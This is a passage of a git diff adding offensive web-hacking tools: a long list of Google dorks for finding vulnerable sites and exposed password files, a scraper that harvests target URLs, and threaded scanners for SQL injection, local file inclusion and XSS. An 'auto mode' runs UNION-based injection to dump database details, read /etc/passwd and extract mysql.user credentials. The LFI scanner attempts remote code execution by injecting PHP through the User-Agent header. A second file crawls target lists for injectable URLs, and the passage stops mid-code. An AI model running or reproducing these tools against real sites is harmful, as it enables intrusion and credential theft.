'SFXAdminsfxglobal|SFXAdminsfxlocal|SFXAdminsfxtest', 'SHOUTcastAdministratoradmin.cgi', 'SQLDORK', 'SQLServerDriver][SQLServer]Line1Incorrectsyntaxnear', 'SQLdatadumps', 'SQLsyntaxerror', 'SQuery/lib/gore.php?libpath', 'SQuery/lib/gore.php?libpath/SQuery/', 'SWWlinkPleasewait.....', 'Sales/viewitem.asp?id', 'Sales/viewitem.php?id', 'SambaWebAdministrationToolintextHelpWorkgroup', 'Scriviamo\WindowsXPProfessional\94FBR', 'Search.pl', 'SearchDataSheet.asp?ID', 'SearchProduct/ListProduct.php?PClassify3SN', 'SecerchiamoilserialediWindowsXPPro.', 'SelectItem.asp?id', 'SelectItem.cfm?id', 'SelectItem.php?id', 'Selectadatabasetoviewfilemakerpro', 'ServerUsernameotherinformation', 'Services.asp?ID', 'Services.cfm?ID', 'Services.php?ID', 'SessionServlet', 'ShadowSecurityScannerperformedavulnerabilityassessment', 'Shop/home.asp?cat', 'Shop/home.php?cat', 'ShopSearch.asp?CategoryID', 'ShopSearch.cfm?CategoryID', 'ShopSearch.php?CategoryID', 'Sites.datPASS', 'Snitz!forumsdbpatherror', 'SnortSnarfalertpage', 'Squidcacheserverreports', 'SquirrelMailversionBytheSquirrelMaildevelopmentTeam', 'Stacks/storyprof.php?ID', 'SteamboatSpringsVacationRental.php?ID', 'StoreRedirect.asp?ID', 'StoreRedirect.cfm?ID', 'StoreRedirect.php?ID', 'StoreViewProducts.asp?Cat', 'StoreViewProducts.cfm?Cat', 'StoreViewProducts.php?Cat', 'StrayQuestionsView.php?num', 'SuSELinuxOpenexchangeServerPleaseactivateJavas?ri?t!', 'SuperoDoctorIIIsupermicro', 'SuppliedargumentisnotavalidMySQLresultresource', 'SuppliedargumentisnotavalidPostgreSQLresult', 'Syntaxerrorinqueryexpressionthe', 'SysCPlogin', 'SystemStatisticsSystemandNetworkInformationCenter', 'TOPdeskApplicationServer', 'TUTOSLogin', 'TWIGLogin', 'TerminalServicesWebConnection', 'Thankyouforyourorderreceipt', 'Thankyouforyourpurchasedownload', 'Thefollowingreportcontainsconfidentialinformationvulnerabilitysearch', 'TherearenoAdministratorsAccountsadmin.phpmysqlfetchrow', 'ThereseemstohavebeenaproblemwiththePleasetryagainbyclickingtheRefreshbuttoninyourwebbrowser.', 'Thes?ri?twhoseuidisisnotallowedtoaccess', 'Thesestatisticswereproducedbygetstats', 'Thestatisticswerelastupd?t?dDailymicrosoft.com', 'ThisisaShareazaNode', 'ThisisarestrictedAccessServerJavas?ri?tNotEnabled!|MessengerExpresseduac', 'ThisreportlistsidentifiedbyInternetScanner', 'ThisreportwasgeneratedbyWebLog', 'ThissectionisforAdministratorsonly.Ifyouareanadministratorthenplease', 'Thissummarywasgeneratedbywwwstat', 'TomcatServerAdministration', 'TopResources.php?CategoryID', 'TotalUsernamesintextnamesandstatisticalinformation' ] 
+d0rk += [ 'TrackerCamLiveVideo|TrackerCamApplicationLogin|TrackercamRemotetrackercam.com', 'TrafficAnalysisforRMONPortonunit', 'UBB.threads|login.phpubb', 'UebiMiausitesourceforge.net', 'UltimaOnlineloginservers', 'UnabletojumptorowonMySQLresultindexonline', 'Unclosedquotationmarkbeforethecharacterstring', 'Underconstructiondoesnotcurrentlyhave', 'UnrealIRCd', 'UploaderUploaderv6pixloads.com', 'Uploaderv6?pixloads.com', 'UsageStatisticsforGeneratedbyWebalizer', 'VHCSProverdemo', 'VIDEOWEBSERVERintextVideoWebServerAnytime&Any', 'VIDEOWEBSERVERintextVideoWebServerAnytime&Anywhereusernamepassword', 'VMwareManagementInterfacevmware/en/', 'VNCDesktop5800', 'VNCviewerforJava', 'VPASPShopAdministratorsonly', 'VersionInfoBootVersionInternetSettings', 'View.php?view', 'ViewPodcast.php?id', 'ViewProduct.asp?misc', 'ViewProduct.cfm?misc', 'ViewProduct.php?misc', 'ViewerFrame?Mode', 'ViewerFrame?ModeRefresh', 'VirtualServerAdministrationSystem', 'VisNeticWebMail/mail/', 'VitalQIPIPManagementSystem', 'WCPUSER', 'WJNT104MainPage', 'WNailerUploadArea', 'WSFTP.LOG', 'WWWThreads|wwwthreads/login.php|wwwthreads/login.pl?Cat', 'WarningBadargumentstojoin|implodeinonlinehelpforum', 'WarningCannotmodifyheaderinformationheadersalreadysent', 'WarningDivisionbyzeroinonlineforum', 'WarningSAFEMODERestrictionineffect.Thes?ri?twhoseuidisisnotallowedtoaccessownedbyuid0inonline', 'WarningSuppliedargumentisnotavalidFileHandleresourcein', 'WarningfailedtoopenstreamHTTPrequestfailedonline', 'WarningmysqlconnectAccessdeniedforuseronlinehelpforum', 'WarningmysqlconnectAccessdeniedforuserËœonlinehelpforum', 'Warningmysqlqueryinvalidquery', 'WarningpgconnectUnabletoconnecttoPostgreSQLserverFATAL', 'WebBasedManagementPleaseinputpasswordtologinjohnny.ihackstuff.com', 'WebExplorerServerLoginWelcometoWebExplorerServer', 'WebFileBrowserUseregularexpression', 'WebLogReferrers', 'WebLogicServerConsoleLoginconsole', 'WebSTARMailPleaseLogIn', 'WebServerStatisticsfor', 'WebStatisticamain.php|WebSTATISTICAserverstatsoftstatsoftsastatsoftinc.comedusoftwarerob', 'WelcomeSite/UserAdministratorPleaseselectthelanguagedemos', 'WelcometoAdministrationGeneralLocalDomainsSMTPAuthenticationadmin', 'WelcometoFSecurePolicyManagerServerWelcomePage', 'WelcometoIntranet', 'WelcometoMailtraqWebMail', 'WelcometoPHPNukecongratulations', 'WelcometoWindows2000InternetServices', 'Welcometontop!', 'WelcometotheAdvancedExtranetServerADVX!', 'WelcometothePrestigeWebBasedConfigurator', 'WhitsundaySailing.php?id', 'Windows2000webservererrormessages', 'WmSCeCartAdministration|WebMyStyleeCartAdministration', 'WorldClientintext?2003|2004AltNTechnologies.', 'WsAncillary.asp?ID', 'WsAncillary.cfm?ID', 'WsAncillary.php?ID', 'WsPages.asp?ID', 'WsPages.asp?IDnoticiasDetalle.asp?xid', 'WsPages.cfm?IDHP', 'WsPages.php?IDnoticiasDetalle.php?xid', 'XAMPPxampp/index', 'XMailWebAdministrationInterfaceintextLoginintextpassword', 'XOOPSCustomInstallation', 'XcAuctionLite|DRIVENBYXCENTLiteadmin', 'XcCDONTS.asp', 'YZboard/view.asp?id', 'YZboard/view.php?id', 'YaBB.pl', 'YaBBSEDevTeam', 'YouhaveanerrorinyourSQLsyntaxnear', 'Youhaverequestedaccesstoarestrictedareaofourwebsite.Pleaseauthenticateyourselftocontinue.', 'Youhaverequestedtoaccessthemanagementfunctions.edu', 'YourpasswordisRememberthisforlateruse', 'ZopeHelpSystemHelpSys', 'ZyXELPrestigeRouterEnterpassword', '[MyAlbumDIR]/language.inc.php?langsdir[MyAlbumDIR]', '[ScriptPath]/admin/index.php?oadmin/index.php', '[ScriptPath]/admin/index.php?oadmin/index.php;', '[WFClient]Passwordfiletypeica', '\Asyntaxerrorhasoccurred\filetypeihtml', '\AutoCreateTRUEpassword\Cercalepasswordper\WebsiteAccessAnalyzer\unsoftwaregiapponese\http//www\oppure', '\ChatologicaMetaSearch\\stacktracking', '\Indexof/backup', '\Indexof\config.php', '\Indexof\passwordsmodified', '\MoreInfoaboutCartFree\Comersus.mdbdatabasemidicart.mdbshopdbtest.aspPOWEREDBYHITJAMMER.!siteups.com\UpsPackagetracking\intext\Z', '\ORA00921unexpectedendofSQLcommand', '\accessdeniedforuser\\usingpassword', '\http//www\gamespyoppurehttp//wwwgamespy', '\parentdirectory\FILECHECERCOxxxhtmlhtmphpshtmlopendivxmd5md5sums', '\setsmodek', 'about.asp?cartID', 'about.cfm?cartID', 'about.php?cartID', 'about.php?id', 'aboutbook.php?id', 'aboutchiangmai/details.asp?id', 'aboutchiangmai/details.php?id', 'aboutprinter.shtml', 'abouttheregionsprovince.php?id', 'abouttheregionsvillage.php?id', 'aboutus.asp?id', 'aboutus.php?id', 'abroad/page.asp?cid', 'abroad/page.php?cid', 'access', 'access.log', 'accessdeniedforuserusingpassword', 'accinfo.asp?cartId', 'accinfo.cfm?cartId', 'accinfo.php?cartId', 'accion', 'acclogin.asp?cartID', 'acclogin.cfm?cartID', 'acclogin.php?cartID', 'account.php?actionaccount.php?action', 'account.php?actioniurl.php?action', 'account.php?actioniurlaccount.php?action', 'account.php?actionphp?action', 'accounts.php?commandphp?command', 'acidmain.php', 'act', 'action', 'actiontecmainsetupstatusCopyright2001ActiontecElectronicsInc', 'ad.cgi', 'ad.php?id', 'adcycle', 'add.asp?bookid', 'add.cfm?bookid', 'add.exe', 'add.php?bookid', 'addItem.asp', 'addItem.cfm', 'addItem.php', 'addToCart.asp?idProduct' ] 
+
+
+
+def search(maxc):
+  urls = []
+  urls_len_last = 0
+  for site in sitearray:
+    dark = 0
+    for dork in go:
+      dark += 1
+      page = 0
+      try:
+        while page < int(maxc):
+	  try:
+            jar = cookielib.FileCookieJar("cookies")
+            query = dork+"+site:"+site
+            results_web = 'http://www.search-results.com/web?q='+query+'&hl=en&page='+repr(page)+'&src=hmp'
+            request_web =urllib2.Request(results_web)
+            agent = random.choice(header)
+            request_web.add_header('User-Agent', agent)
+            opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
+            text = opener_web.open(request_web).read()
+            stringreg = re.compile('(?<=href=")(.*?)(?=")')
+            names = stringreg.findall(text)
+            page += 1
+            for name in names:
+              if name not in urls:
+	        if re.search(r'\(',name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(http://)\d", name):
+	          pass
+	        elif re.search("google",name) or re.search("youtube", name) or re.search("phpbuddy", name) or re.search("iranhack",name) or re.search("phpbuilder",name) or re.search("codingforums", name) or re.search("phpfreaks", name) or re.search("%", name) or re.search("facebook", name) or re.search("twitter", name):
+	          pass
+                elif re.search(site,name):
+	          urls.append(name)
+            darklen = len(go)
+            percent = int((1.0*dark/int(darklen))*100)
+	    urls_len = len(urls)
+	    sys.stdout.write("\rSite: %s | Collected urls: %s | D0rks: %s/%s | Percent Done: %s | Current page no.: %s <> " % (site,repr(urls_len),dark,darklen,repr(percent),repr(page)))
+	    sys.stdout.flush()
+            if urls_len == urls_len_last:
+              page = int(maxc)
+            urls_len_last = len(urls)
+
+          except:
+            pass
+      except(KeyboardInterrupt):
+        pass
+    tmplist = []
+    print "\n\n[+] URLS (unsorted): ",len(urls)
+    for url in urls:
+      try:
+        host = url.split("/",3)
+        domain = host[2]
+        if domain not in tmplist and "=" in url:
+	  finallist.append(url)
+	  tmplist.append(domain)
+	
+      except:
+        pass
+    print "[+] URLS (sorted)  : ",len(finallist)
+    return finallist
+
+  
+class injThread(threading.Thread):
+        def __init__(self,hosts):
+                self.hosts=hosts
+                self.fcount = 0
+                self.check = True
+                threading.Thread.__init__(self)
+
+        def run (self):
+                urls = list(self.hosts)
+                for url in urls:
+                        try:
+                                if self.check == True:
+                                        ClassicINJ(url)
+                                else:
+                                        break
+                        except(KeyboardInterrupt,ValueError):
+                                pass
+                self.fcount+=1
+
+        def stop(self):
+                self.check = False
+                
+class lfiThread(threading.Thread):
+        def __init__(self,hosts):
+                self.hosts=hosts
+                self.fcount = 0
+                self.check = True
+                threading.Thread.__init__(self)
+
+        def run (self):
+                urls = list(self.hosts)
+                for url in urls:
+                        try:
+                                if self.check == True:
+                                        ClassicLFI(url)
+                                else:
+                                        break
+                        except(KeyboardInterrupt,ValueError):
+                                pass
+                self.fcount+=1
+
+        def stop(self):
+                self.check = False
+                
+class xssThread(threading.Thread):
+        def __init__(self,hosts):
+                self.hosts=hosts
+                self.fcount = 0
+                self.check = True
+                threading.Thread.__init__(self)
+
+        def run (self):
+                urls = list(self.hosts)
+                for url in urls:
+                        try:
+                                if self.check == True:
+                                        ClassicXSS(url)
+                                else:
+                                        break
+                        except(KeyboardInterrupt,ValueError):
+                                pass
+                self.fcount+=1
+
+        def stop(self):
+                self.check = False
+                
+                
+def ClassicINJ(url):
+        EXT = "'"
+        host = url+EXT
+        try:
+                source = urllib2.urlopen(host).read()
+                for type,eMSG in sqlerrors.items():
+                        if re.search(eMSG, source):
+                                print R+"[!] w00t!,w00t!:", O+host, B+"Error:", type,R+" ---> SQL Injection Found"
+				logfile.write("\n"+host)
+				vuln.append(host)
+                                col.append(host)
+                                break
+				
+				
+                        else:
+                                pass
+        except:
+                pass
+
+
+def ClassicLFI(url):
+  lfiurl = url.rsplit('=', 1)[0]
+  if lfiurl[-1] != "=":
+    lfiurl = lfiurl + "="
+  for lfi in lfis:
+    try:
+      check = urllib2.urlopen(lfiurl+lfi.replace("\n", "")).read()
+      if re.findall("root:x", check):
+	print R+"[!] w00t!,w00t!: ", O+lfiurl+lfi,R+" ---> Local File Include Found"
+	lfi_log_file.write("\n"+lfiurl+lfi)
+	vuln.append(lfiurl+lfi)
+	target = lfiurl+lfi
+	target = target.replace("/etc/passwd","/proc/self/environ")
+	header = "<? echo md5(baltazar); ?>"
+        try:
+	  request_web = urllib2.Request(target)
+	  request_web.add_header('User-Agent', header)
+	  text = urllib2.urlopen(request_web)
+	  text = text.read()
+	  if re.findall("f17f4b3e8e709cd3c89a6dbd949d7171", text):
+	    print R+"[!] w00t!,w00t!: ",O+target,R+" ---> LFI to RCE Found"
+	    rce_log_file.write("\n",target)
+	    vuln.append(target)
+        except:
+	  pass
+	
+    except:
+      pass
+
+def ClassicXSS(url):
+  for xss in xsses:
+    try:
+      source = urllib2.urlopen(url+xss.replace("\n","")).read()
+      if re.findall("XSS by baltazar", source) or re.findall("XSS by NovaCygni", source):
+          print R+"[!] w00t!,w00t!: ", O+url+xss,R+" ---> XSS Found (might be false)"
+	  xss_log_file.write("\n"+url+xss)
+	  vuln.append(url+xss)
+    except:
+      pass
+
+def injtest():
+  print B+"\n[+] Preparing for SQLi scanning ..."
+  print "[+] Can take a while ..."
+  print "[!] Working ...\n"
+  i = len(usearch) / int(numthreads)
+  m = len(usearch) % int(numthreads)
+  z = 0
+  if len(threads) <= numthreads:
+    for x in range(0, int(numthreads)):
+      sliced = usearch[x*i:(x+1)*i]
+      if (z<m):
+	sliced.append(usearch[int(numthreads)*i+z])
+	z +=1
+      thread = injThread(sliced)
+      thread.start()
+      threads.append(thread)
+    for thread in threads:
+      thread.join()
+      
+def lfitest():
+  print B+"\n[+] Preparing for LFI - RCE scanning ..."
+  print "[+] Can take a while ..."
+  print "[!] Working ...\n"
+  i = len(usearch) / int(numthreads)
+  m = len(usearch) % int(numthreads)
+  z = 0
+  if len(threads) <= numthreads:
+    for x in range(0, int(numthreads)):
+      sliced = usearch[x*i:(x+1)*i]
+      if (z<m):
+	sliced.append(usearch[int(numthreads)*i+z])
+	z +=1
+      thread = lfiThread(sliced)
+      thread.start()
+      threads.append(thread)
+    for thread in threads:
+      thread.join()
+
+def xsstest():
+  print B+"\n[+] Preparing for XSS scanning ..."
+  print "[+] Can take a while ..."
+  print "[!] Working ...\n"
+  i = len(usearch) / int(numthreads)
+  m = len(usearch) % int(numthreads)
+  z = 0
+  if len(threads) <= numthreads:
+    for x in range(0, int(numthreads)):
+      sliced = usearch[x*i:(x+1)*i]
+      if (z<m):
+	sliced.append(usearch[int(numthreads)*i+z])
+	z +=1
+      thread = xssThread(sliced)
+      thread.start()
+      threads.append(thread)
+    for thread in threads:
+      thread.join()
+
+
+new = 1
+menu = True
+while menu == True:
+  if new == 1:
+    threads = []
+    finallist = []
+    vuln = []
+    col = []
+    darkurl = []
+
+    print W
+    sites = raw_input("\nChoose your target(domain)   : ")
+    sitearray = [ sites ]
+
+    go = []
+
+    dorks = raw_input("Choose the number of random dorks (0 for all.. may take awhile!)   : "); print ""
+    if int(dorks) == 0:
+      i = 0
+      while i < len(d0rk):
+        go.append(d0rk[i])
+        i += 1
+    else:
+      i = 0
+      while i < int(dorks):
+        go.append(choice(d0rk))
+        i += 1
+      for g in go:
+        print "dork: ",g
+
+
+
+
+    numthreads = raw_input('\nEnter no. of threads : ')
+    maxc = raw_input('Enter no. of pages   : ')
+    print "\nNumber of SQL errors :",len(sqlerrors)
+    print "Number of LFI paths  :",len(lfis)
+    print "Number of XSS cheats :",len(xsses)
+    print "Number of headers    :",len(header)
+    print "Number of threads    :",numthreads
+    print "Number of dorks      :",len(go)
+    print "Number of pages      :",maxc
+    print "Timeout in seconds   :",timeout
+    print ""
+
+    usearch = search(maxc)
+    new = 0
+
+
+  print R+"\n[1] SQLi Testing"
+  print "[2] SQLi Testing Auto Mode"
+  print "[3] LFI - RCE Testing"
+  print "[4] XSS Testing"
+  print "[5] SQLi and LFI - RCE Testing"
+  print "[6] SQLi and XSS Testing"
+  print "[7] LFI -RCE and XSS Testing"
+  print "[8] SQLi,LFI - RCE and XSS Testing"
+  print "[9] Save valid urls to file"
+  print "[10] Print valid urls"
+  print "[11] Found vuln in last scan"
+  print "[12] New scan"
+  print "[0] Exit\n"
+  chce = raw_input(":")
+  if chce == '1':
+    injtest()
+    
+  if chce == '2':
+    injtest()
+    print B+"\n[+] Preparing for Column Finder ..."
+    print "[+] Can take a while ..."
+    print "[!] Working ..."
+    # Thanks rsauron for schemafuzz
+    for host in col:
+      print R+"\n[+] Target: ", O+host
+      print R+"[+] Attempting to find the number of columns ..."
+      print "[+] Testing: ",
+      checkfor = []
+      host = host.rsplit("'", 1)[0]
+      sitenew = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva
+      makepretty = ""
+      for x in xrange(0, colMax):
+	try:
+	  sys.stdout.write("%s," % (x))
+	  sys.stdout.flush()
+	  darkc0de = "dark"+str(x)+"c0de"
+	  checkfor.append(darkc0de)
+	  if x > 0:
+	    sitenew += ","
+	  sitenew += "0x"+darkc0de.encode("hex")
+	  finalurl = sitenew+arg_end
+	  gets += 1
+	  source = urllib2.urlopen(finalurl).read()
+	  for y in checkfor:
+	    colFound = re.findall(y, source)
+	    if len(colFound) >= 1:
+	      print "\n[+] Column length is:", len(checkfor)
+	      nullcol = re.findall(("\d+"), y)
+	      print "[+] Found null column at column #:", nullcol[0]
+	      for z in xrange(0, len(checkfor)):
+		if z > 0:
+		  makepretty += ","
+		makepretty += str(z)
+	      site = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva+makepretty
+	      print "[+] SQLi URL:", site+arg_end
+	      site = site.replace(","+nullcol[0]+",",",darkc0de,")
+	      site = site.replace(arg_eva+nullcol[0]+",",arg_eva+"darkc0de,")
+	      site = site.replace(","+nullcol[0],",darkc0de")
+	      print "[+] darkc0de URL:", site
+	      darkurl.append(site)
+	      
+	      print "[-] Done!\n"
+	      break
+	      
+	except(KeyboardInterrupt, SystemExit):
+	  raise
+	except:
+	  pass
+      
+      print "\n[!] Sorry column length could not be found\n"
+      ###########
+      
+    print B+"\n[+] Gathering MySQL Server Configuration..."
+    for site in darkurl:
+      head_URL = site.replace("darkc0de", "concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end
+      print R+"\n[+] Target:", O+site
+      while 1:
+	try:
+	  gets += 1
+	  source = urllib2.urlopen(head_URL).read()
+	  match = re.findall("\x1e\x1e\S+", source)
+	  if len(match) >= 1:
+	    match = match[0][2:].split("\x1e")
+	    version = match[0]
+	    user = match[1]
+	    database = match[2]
+	    print W+"\n\tDatabase:", database
+	    print "\tUser:", user
+	    print "\tVersion:", version
+	    version = version[0]
+	    
+	    load = site.replace("darkc0de", "load_file(0x2f6574632f706173737764)")
+	    source = urllib2.urlopen(load).read()
+	    if re.findall("root:x", source):
+	      load = site.replace("darkc0de", "concat_ws(char(58),load_file(0x"+file.encode("hex")+"),0x62616c74617a6172)")
+	      source = urllib2.urlopen(load).read()
+	      search = re.findall("baltazar", source)
+	      if len(search) > 0:
+		print "\n[!] w00t!w00t!: "+site.replace("darkc0de", "load_file(0x"+file.encode("hex")+")")
+		
+	      load = site.replace("dakrc0de", "concat_ws(char(58),user,password,0x62616c74617a6172)")+arg_eva+"from"+arg_eva+"mysql.user"
+	    source = urllib2.urlopen(load).read()
+	    if re.findall("baltazar", source):
+	      print "\n[!] w00t!w00t!: "+site.replace("darkc0de", "concat_ws(char(58),user,password)")+arg_eva+"from"+arg_eva+"mysql.user"
+	  
+	  print W+"\n[+] Number of tables:",len(tables)
+	  print "[+] Number of columns:",len(columns)
+          print "[+] Checking for tables and columns..."
+          target = site.replace("darkc0de", "0x62616c74617a6172")+arg_eva+"from"+arg_eva+"T"
+	  for table in tables:
+            try:
+	      target_table = target.replace("T", table)
+	      source = urllib2.urlopen(target_table).read()
+	      search = re.findall("baltazar", source)
+	      if len(search) > 0:
+		print "\n[!] w00t!w00t! Found a table called: < "+table+" >"
+		print "\n[+] Lets check for columns inside table < "+table+" >"
+		for column in columns:
+		  try:
+		    source = urllib2.urlopen(target_table.replace("0x62616c74617a6172", "concat_ws(char(58),0x62616c74617a6172,"+column+")")).read()
+		    search = re.findall("baltazar", source)
+		    if len(search) > 0:
+		      print "\t[!] w00t!w00t! Found a column called: < "+column+" >"
+		  except(KeyboardInterrupt, SystemExit):
+		    raise
+		  except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout):
+		    pass
+	    
+		print "\n[-] Done searching inside table < "+table+" > for columns!"
+	  
+	    except(KeyboardInterrupt, SystemExit):
+	      raise
+	    except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout):
+	      pass
+	  print "[!] Fuzzing is finished!"
+	  break	  
+	except(KeyboardInterrupt, SystemExit):
+	  raise
+					  
+      
+	  
+                
+  if chce == '3':
+    lfitest()
+  
+  if chce == '4':
+    xsstest()
+    
+  if chce == '5':
+    injtest()
+    lfitest()
+     
+  if chce == '6':
+    injtest()
+    xsstest()
+    
+  if chce == '7':
+    lfitest()
+    xsstest()
+    
+  if chce == '8':
+    injtest()
+    lfitest()
+    xsstest()
+    
+  if chce == '9':
+    print B+"\nSaving valid urls ("+str(len(finallist))+") to file"
+    listname = raw_input("Filename: ")
+    list_name = open(listname, "w")
+    finallist.sort()
+    for t in finallist:
+      list_name.write(t+"\n")
+    list_name.close()
+    print "Urls saved, please check", listname
+   
+  if chce == '10':
+    print W+"\nPrinting valid urls:\n"
+    finallist.sort()
+    for t in finallist:
+      print B+t
+      
+  if chce == '11':
+    print B+"\nVuln found ",len(vuln)
+
+  if chce == '12':
+    new = 1
+    print W+""
+
+  if chce == '0':
+    print R+"\n[-] Exiting ..."
+    mnu = False
+    print W
+    sys.exit(1)
diff --git a/3rdparty/multisearch.py b/3rdparty/multisearch.py
new file mode 100644
index 0000000..c08737b
--- /dev/null
+++ b/3rdparty/multisearch.py
@@ -0,0 +1,328 @@
+#!/usr/bin/python
+#-*- coding: cp1254 -*-
+
+import re, urllib,urllib2, time, httplib, socket, sys, md5, locale
+from urllib2 import Request, urlopen, URLError, HTTPError
+from socket import *
+import threading
+from bs4 import BeautifulSoup
+import urlparse            
+import mechanize
+import webbrowser
+import os
+import random
+import multiprocessing
+
+
+
+
+print """                                                            
+                                        ####                      #######
+                                     ##########                 #########
+                                  #################            ######### 
+& facebook/b3mb4m              ########################      #########   
+                            ############################    #       #            
+& cyber-warrior.org/187971 ############################### #      ##    
+                           ###############################      ##
+& b3mb4m@gmail.com        ###############################     ##
+                          ##############################    ##
+                                         #     ########    #
+                             ##      ###          ####   ##
+                                                  ###   ###
+                                                ####   ###
+                           ####          ##########   ####
+                           #######################   ####
+                             ####################   ####
+                              ##################  ####
+                                ############      ##
+                                   ########        ###
+                                  #########        #####
+                                ############      ######
+                               ########      #########
+                                 #####       ########
+                                   ###       #########
+                                  ######    ############
+                                 #######################                   
+                                 #   #   ###  #   #   ##                 
+                                 ########################                
+                                  ##     ##   ##     ##
+
+& http://www.youtube.com/channel/UCvt2HkV2jtIOESI7IvseSjg
+ 
+            """
+def sqlxss():
+    #name = multiprocessing.current_process().name
+    
+    #print ""
+    #print "First one "+time.strftime("%H:%M:%S")
+    #print ""
+    
+    doc = open("b3mb4mdata.txt", "r")#Log doc 
+    B3mB4mdata = doc.readlines()
+
+    print """
+
+
+    SQL Test Active ..
+
+
+    """
+
+    #Agents
+    useragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
+                    'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
+                    'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
+                    'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
+                    'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
+                    'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
+                    'Microsoft Internet Explorer/4.0b1 (Windows 95)',
+                    'Opera/8.00 (Windows NT 5.1; U; en)',
+                    'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
+                    'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
+                        'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
+                    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
+                    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
+                    'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
+        
+    agents = random.choice(useragent)
+        
+       
+
+
+    for i in B3mB4mdata: 
+        i = i.replace("\n", "") #Raise
+        print ""
+        print "TARGET -->  "+i
+        print ""
+
+        xxx = i.replace("http://", "")
+        docname = xxx+".txt"
+        logs = open(docname, "w")
+        
+
+        
+        url = i
+        tarayici = mechanize.Browser()
+        tarayici.set_handle_robots(False)
+        tarayici.addheaders = [('User-agent', agents)]
+        urls = [url]
+        gez = [url]
+        
+        while len(urls)>0:
+                            
+            try:
+                tarayici.open(urls[0])
+                urls.pop(0)
+                                                    
+                try:
+                    #raise NameError('BrowserStateError')
+                
+                    for link in tarayici.links():
+                        yeniurl =  urlparse.urljoin(link.base_url,link.url)
+                        if yeniurl not in gez and url in yeniurl:
+                            gez.append(yeniurl)
+                            urls.append(yeniurl)
+                            print "Searching value -->"+yeniurl
+                            
+                            if "=" in yeniurl:
+                                yeniurl = yeniurl+"'"
+                                
+                                try:
+                                   req  = urllib2.Request(yeniurl)
+                                   fd   = urllib2.urlopen(req)
+                                   data = fd.read()
+                                   if "Query failed" in data:
+                                       print "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0 
+                                   elif "supplied argument is not a valid MySQL result resource in" in data:
+                                       print  "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+                                   elif "You have an error in your SQL syntax" in data:
+                                       print "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+                                   elif "ORDER BY" in data:
+                                       print "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+                                   elif "mysql_num_rows()" in data:
+                                       print "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+                                   elif "SQL query failed" in data:
+                                       print "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+                                   elif "Microsoft JET Database Engine error '80040e14'" in data:
+                                       print "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+                                   elif "Microsoft OLE DB Provider for Oracle" in data:
+                                       print "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+                                   elif "Error:unknown" in data:
+                                       print "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+                                   elif "Fatal error" in data:
+                                       print "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+                                   elif "mysql_fetch" in data:
+                                       print "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+                                   elif "Syntax error" in data:
+                                       print "\nSQL FOUND! \n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+                                   elif "error in your SQL syntax" in data:
+                                       print "\nSQL FOUND!\n-->  "+yeniurl
+                                       print ""
+                                       logs.write("\n SQL FOUND --> \n"+yeniurl)
+                                       logs.close()
+                                       urls = 0
+         
+                                       
+                                except urllib2.HTTPError:
+                                    pass
+                                except ValueError:
+                                    pass
+                                except URLError, e:
+                                    pass
+                                except IndexError:
+                                    pass
+                                except NameError:
+                                    pass
+                                    #raise
+                                
+
+                                
+                            else:
+                               continue
+
+                                                    
+                #except TypeError:
+                    #pass
+                #except NameError:
+                    #pass
+                #except AttributeError: # �ts magic code yay :3 !
